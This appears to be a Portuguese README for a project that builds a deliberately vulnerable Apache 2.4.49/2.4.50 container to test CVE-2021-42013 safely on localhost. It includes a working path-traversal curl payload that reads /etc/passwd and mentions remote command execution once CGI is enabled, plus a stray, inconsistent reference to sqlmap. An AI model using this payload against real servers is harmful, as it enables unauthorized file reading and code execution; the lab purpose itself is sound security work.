
CVE: 2021-42013 Testado em: 2.4.49 e 2.4.50 Descrição: Vulnerabilidades de Path Traversal ou Execução Remota de Código no Apache 2.4.49 e 2.4.50
Este projeto visa dockerizar uma vulnerabilidade específica usando Docker. O objetivo é criar um ambiente isolado no qual a vulnerabilidade possa ser explorada e testada de forma segura.
Apache HTTP Server 2.4.50 - Execução Remota de Código && Path Traversal
Para executar este projeto, você precisa ter em sua máquina:
Uma vez instalados os pré-requisitos, você pode clonar este repositório Git em sua máquina:
git clone https://github.com/cybfar/cve-2021-42013-httpd.git
cd Ccve-2021-42013-httpd
Uma vez no diretório, execute o comando abaixo para configurar o ambiente vulnerável:
docker build -t apache-httpd-vuln .
docker run -p 8000:80 apache-httpd-vuln
Acesse então a aplicação no endereço http://localhost:8000 Se tudo estiver certo, você deve ver aparecer "It works"
A execução deste payload com curl abaixo nos mostra que o alvo está vulnerável. O script gerará o comando sqlmap apropriado para explorar a vulnerabilidade
curl -v --path-as-is localhost:8000/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
Este payload pode acessar diretamente informações relacionadas ao usuário no sistema sem o consentimento do usuário.
Uma vez que ativarmos os mods cgi ou cgid no servidor, esta vulnerabilidade permitirá a um atacante executar comandos arbitrários